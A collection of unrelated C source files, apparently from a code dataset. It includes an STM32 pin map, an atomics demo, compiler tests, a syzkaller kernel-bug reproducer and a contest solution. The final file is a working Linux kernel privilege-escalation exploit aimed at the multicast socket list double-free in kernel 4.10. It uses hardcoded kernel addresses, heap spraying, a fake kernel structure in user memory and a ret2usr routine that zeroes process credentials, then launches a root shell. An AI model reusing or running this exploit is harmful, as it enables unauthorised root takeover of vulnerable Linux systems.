// {PE_13, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO1
// {PF_1, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO1
{PF_9, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO1
// {PI_2, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_OCTOSPI1)}, // OCTOSPIM_P2_IO1
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA2[] = {
// {PA_7, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO2
// {PE_14, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO2
// {PF_2, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO2
{PF_7, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO2
// {PI_1, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_OCTOSPI1)}, // OCTOSPIM_P2_IO2
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA3[] = {
// {PA_6, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO3
// {PE_15, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO3
// {PF_3, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO3
{PF_6, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO3
// {PH_8, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO3
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA4[] = {
// {PC_1, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO4
// {PD_4, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO4
// {PG_0, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO4
// {PH_2, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_OCTOSPI1)}, // OCTOSPIM_P1_IO4
{PH_9, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO4
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA5[] = {
// {PC_2, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO5
// {PD_5, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO5
// {PG_1, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO5
{PH_10, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO5
// {PI_0, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_OCTOSPI1)}, // OCTOSPIM_P1_IO5
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA6[] = {
// {PC_3, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO6
// {PD_6, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO6
// {PG_9, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO6
{PH_11, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO6
// {PH_15, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO6
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA7[] = {
// {PC_0, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_OCTOSPI1)}, // OCTOSPIM_P1_IO7
// {PC_4, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO7
// {PD_7, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO7
// {PG_10, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO7
{PH_12, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO7
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_SCLK[] = {
// {PA_3, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_CLK
{PB_10, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_CLK
// {PE_10, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_CLK
{PF_4, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_CLK
// {PF_10, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_OCTOSPI1)}, // OCTOSPIM_P1_CLK
// {PH_6, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_CLK
// {PI_6, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_CLK
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_SSEL[] = {
// {PA_0, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P2_NCS
// {PA_2, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_NCS
// {PA_4, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_OCTOSPI1)}, // OCTOSPIM_P1_NCS
// {PA_12, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_OCTOSPI1)}, // OCTOSPIM_P2_NCS
{PB_11, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_NCS
// {PC_11, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P1_NCS
// {PD_3, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P2_NCS
// {PE_11, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_NCS
// {PF_6, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_NCS
// {PG_12, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_NCS
{PI_5, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_NCS
{NC, NP, 0}
};
#endif
//*** USB ***
#if defined(HAL_PCD_MODULE_ENABLED) || defined(HAL_HCD_MODULE_ENABLED)
WEAK const PinMap PinMap_USB_OTG_FS[] = {
// {PA_8, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_SOF
// {PA_9, USB_OTG_FS, STM_PIN_DATA(STM_MODE_INPUT, GPIO_NOPULL, GPIO_AF_NONE)}, // USB_OTG_FS_VBUS
// {PA_10, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_ID
{PA_11, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_DM
{PA_12, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_DP
// {PA_13, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_NOE
// {PA_14, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_SOF
// {PC_9, USB_OTG_FS, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_USB)}, // USB_OTG_FS_NOE
{NC, NP, 0}
};
#endif
//*** SD ***
#ifdef HAL_SD_MODULE_ENABLED
WEAK const PinMap PinMap_SD[] = {
// {PA_0, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF12_SDMMC2)}, // SDMMC2_CMD
// {PB_3, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC2)}, // SDMMC2_D2
// {PB_4, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC2)}, // SDMMC2_D3
{PB_8, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF8_SDMMC1)}, // SDMMC1_CKIN
{PB_8_ALT1, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D4
// {PB_8_ALT2, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF11_SDMMC2)}, // SDMMC2_D4
{PB_9, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF8_SDMMC1)}, // SDMMC1_CDIR
{PB_9_ALT1, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D5
// {PB_9_ALT2, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF11_SDMMC2)}, // SDMMC2_D5
// {PB_14, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC2)}, // SDMMC2_D0
// {PB_15, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC2)}, // SDMMC2_D1
{PC_0, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D5
// {PC_1, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF12_SDMMC2)}, // SDMMC2_CK
{PC_6, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF8_SDMMC1)}, // SDMMC1_D0DIR
{PC_6_ALT1, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D6
// {PC_6_ALT2, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF11_SDMMC2)}, // SDMMC2_D6
{PC_7, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF8_SDMMC1)}, // SDMMC1_D123DIR
{PC_7_ALT1, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D7
// {PC_7_ALT2, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF11_SDMMC2)}, // SDMMC2_D7
{PC_8, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D0
{PC_9, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D1
{PC_10, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D2
{PC_11, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF12_SDMMC1)}, // SDMMC1_D3
{PC_12, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF12_SDMMC1)}, // SDMMC1_CK
{PD_2, SDMMC1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF12_SDMMC1)}, // SDMMC1_CMD
// {PD_6, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF11_SDMMC2)}, // SDMMC2_CK
// {PD_7, SDMMC2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF11_SDMMC2)}, // SDMMC2_CMD
{NC, NP, 0}
};
#endif
#endif /* ARDUINO_B_U585I_IOT02A */
|
the_stack_data/1131274.c
|
// Copyright (c) 2020, devgo.club
// All rights reserved.
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <time.h>
atomic_long c1 = 0;
int64_t c2;
int th_atomic_type(void *p);
int th_atomic_func(void *p);
typedef struct
{
atomic_flag f;
int64_t n;
} demo_t;
demo_t *create_demo();
void delete_demo(demo_t *d);
int64_t get_demo(demo_t *d);
int64_t set_demo(demo_t *d, int64_t n);
int th_demo(void *);
int main(int argc, char const *argv[])
{
thrd_t t1;
thrd_create(&t1, &th_atomic_type, NULL);
thrd_t t2;
thrd_create(&t2, &th_atomic_type, NULL);
thrd_join(t1, NULL);
thrd_join(t2, NULL);
printf("----------------------------\n");
thrd_t t3;
thrd_create(&t3, &th_atomic_func, NULL);
thrd_t t4;
thrd_create(&t4, &th_atomic_func, NULL);
thrd_join(t3, NULL);
thrd_join(t4, NULL);
printf("----------------------------\n");
demo_t *d = create_demo();
thrd_t t5;
int64_t n5 = 888;
void *args5[] = {d, &n5};
thrd_create(&t5, &th_demo, (void *)args5);
thrd_t t6;
int64_t n6 = 666;
void *args6[] = {d, &n6};
thrd_create(&t6, &th_demo, (void *)args6);
thrd_join(t5, NULL);
thrd_join(t6, NULL);
return EXIT_SUCCESS;
}
int th_atomic_type(void *p)
{
struct timespec t = {.tv_sec = 0, .tv_nsec = 100000000};
for (int64_t i = 0; i < 10; ++i)
{
c1 += i;
printf("thread#%ld c1 = %ld\n", thrd_current(), c1);
thrd_sleep(&t, NULL);
}
printf("thread#%ld >>> c1 = %ld\n", thrd_current(), c1);
return thrd_success;
}
int th_atomic_func(void *p)
{
struct timespec t = {.tv_sec = 0, .tv_nsec = 100000000};
for (int64_t i = 0; i < 10; ++i)
{
atomic_fetch_add(&c2, i);
printf("thread#%ld c2 = %ld\n", thrd_current(), atomic_load(&c2));
thrd_sleep(&t, NULL);
}
printf("thread#%ld >>> c2 = %ld\n", thrd_current(), atomic_load(&c2));
return thrd_success;
}
demo_t *create_demo()
{
demo_t *ret = (demo_t *)malloc(sizeof(demo_t));
ret->n = 0;
atomic_flag_clear(&(ret->f));
return ret;
}
void delete_demo(demo_t *d)
{
free(d);
}
int64_t get_demo(demo_t *d)
{
for (; atomic_flag_test_and_set(&(d->f));)
{
printf("#%ld get: wait to unlock ...\n", thrd_current());
}
struct timespec t = {.tv_sec = 0, .tv_nsec = 1000000};
thrd_sleep(&t, NULL);
int64_t ret = d->n;
atomic_flag_clear(&(d->f));
return ret;
}
int64_t set_demo(demo_t *d, int64_t n)
{
for (; atomic_flag_test_and_set(&(d->f));)
{
printf("#%ld set: wait to unlock ...\n", thrd_current());
}
struct timespec t = {.tv_sec = 0, .tv_nsec = 1000000};
thrd_sleep(&t, NULL);
int64_t ret = d->n;
d->n = n;
atomic_flag_clear(&(d->f));
return ret;
}
int th_demo(void *p)
{
void **args = (void **)p;
demo_t *d = (demo_t *)args[0];
int64_t *n = (int64_t *)*(args + 1);
printf("#%ld: d.n: prev=%ld\n", thrd_current(), get_demo(d));
printf("#%ld: d.n: old=%ld\n", thrd_current(), set_demo(d, *n));
printf("#%ld: d.n: now=%ld\n", thrd_current(), get_demo(d));
return thrd_success;
}
|
the_stack_data/80614.c
|
/* { dg-do run } */
extern void abort (void);
static inline void
foo (int * __restrict pr)
{
*pr = 1;
}
int __attribute__((noinline,noclone))
bar (int * __restrict qr)
{
*qr = 0;
foo (qr);
return *qr;
}
int main()
{
int i;
if (bar (&i) != 1)
abort ();
return 0;
}
|
the_stack_data/237642369.c
|
// KMSAN: uninit-value in btrfs_scan_one_device (2)
// https://syzkaller.appspot.com/bug?id=cc82e7de487c95b3a7d56e90554b852acc517a69
// status:invalid
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
memcpy((void*)0x20fd5ff8, "./file0", 8);
syscall(__NR_mkdir, 0x20fd5ff8, 0);
memcpy((void*)0x20000100, "/dev/nullb0", 12);
memcpy((void*)0x20000040, "./file0", 8);
memcpy((void*)0x20000080, "btrfs", 6);
syscall(__NR_mount, 0x20000100, 0x20000040, 0x20000080, 0, 0);
return 0;
}
|
the_stack_data/895540.c
|
/* { dg-require-effective-target untyped_assembly } */
struct S1
{
short f0;
};
extern volatile struct S1 g_5;
extern int g_120, i;
extern short g_339;
int
func_72 (int x, int y, struct S1 z)
{
for (z.f0 = -3; z.f0 > 16; z.f0 += 1)
foo ();
return g_120;
}
int
main ()
{
while (g_339 % 0x200003)
continue;
if (i)
func_72 (0, 0, g_5);
foo (&g_339);
return 0;
}
|
the_stack_data/20451411.c
|
// http://www.bjfuacm.com/problem/260/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAXN 10005
int main() {
int x, y;
bool* t;
int flag;
while (1) {
scanf("%d %d", &x, &y);
if (x == 0 && y == 0) break;
flag = 0;
t = (bool *)calloc(MAXN, sizeof(bool));
int s;
for (int i = 0; i < x * y; i++) {
scanf("%d", &s);
if (t[s] == 1) {
flag = 1;
} else {
t[s] = 1;
}
}
printf("%s\n", flag == 0 ? "NO" : "YES");
free(t);
}
}
|
the_stack_data/111078162.c
|
// gcc -static exp-ret2usr.c -o exp-ret2usr -lpthread
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#define SPRAY_SIZE 1000 // 5000
#define HELLO_WORLD_SERVER_PORT 8088 // server 的端口号
unsigned long* find_get_pid = (unsigned long*)0xffffffff810a4310; // 0xffffffff81077220 4.10.15-0xffffffff810a4310
unsigned long* pid_task = (unsigned long*)0xffffffff810a4260; // 0xffffffff81077180 4.10.15-0xffffffff810a4260
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x640(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq ;"
"retq ;"
);
}
// spray_init —— 初始化 PF_INET6 类型的socket,用于堆喷
int sockfd[SPRAY_SIZE];
void spray_init() {
printf("[+] spray_init ... \n");
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
// heap_spray —— 堆喷,将 ip_mc_socklist 结构中的 next_rcu 指针指向用户空间的地址 0xcdab0000
void heap_spray() {
printf("[+] begin to spray ... \n");
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr)); // 使 ip_mc_socklist 结构中的 next_rcu 指针指向用户空间的地址 0xcdab0000
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
// func_modify —— 子线程不断将 ip_mc_socklist 结构中的 func 指针修改为 get_root 函数地址
void *func_modify(void *arg){
unsigned long fix_addr = 0xcdab02ff + 8*5;
unsigned long func = (unsigned long)&get_root;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
// 1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 对象
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)); // 设置MCAST_JOIN_GROUP选项,主要是让内核创建 ip_mc_socklist 对象
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
// 2. 创建 client 端 socket, 并向服务端相连-connect
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init(); // spray_init —— 初始化 PF_INET6 类型的socket,用于堆喷 ipv6_mc_socklist 对象
// 3. server 开始接收 client - accept, 复制 mc_list 指针
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length); // accept —— 开始和客户端连接,复制 mc_list 指针
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
// 4. 用户空间地址开始布置伪造的 ip_mc_socklist 结构, 子线程不断修改 func 指针
unsigned long fix_addr = 0xcdab0000; // 用户空间 0xcdab0000 处布置伪造的 ip_mc_socklist 结构
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)0x00000000cdab02ff;
unsigned long func = (unsigned long)&get_root;
addr[0] = 0x0;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = func;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL); // 子线程不断修改 func 指针
// 5. 关闭 accept 创建的 socket, 堆喷射篡改 ip_mc_socklist->next_rcu 指针, 关闭服务端 socket
printf ("[Server]close server accept socket \n");
close(new_server_socket);
sleep(3);
heap_spray(); // 开始进行堆喷
printf ("[Server]close server socket \n");
close(server_socket);
sleep(1);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
// client —— 创建客户端,和server端连接
void *client(void *arg){
printf("[+] client connect ... \n");
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT); // 端口号
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
printf("get_root: %p\n", &get_root);
pid = getpid();
exploit();
return 0;
}
/*
Linux-v4.10.6
1.查看 申请 ip_mc_socklist 结构处
/exp $ cat /tmp/kallsyms | grep ip_mc_join_group
ffffffff81831890 T ip_mc_join_group
ffffffff81d5d100 r __ksymtab_ip_mc_join_group
ffffffff81daa61e r __kstrtab_ip_mc_join_group
/exp $ cat /tmp/kallsyms | grep ip_route_output # 0xffffffff8182ee55
ffffffff817ebd00 T __ip_route_output_key_hash
ffffffff817ec980 T ip_route_output_flow
查看两次释放ip_mc_socklist结构的地方
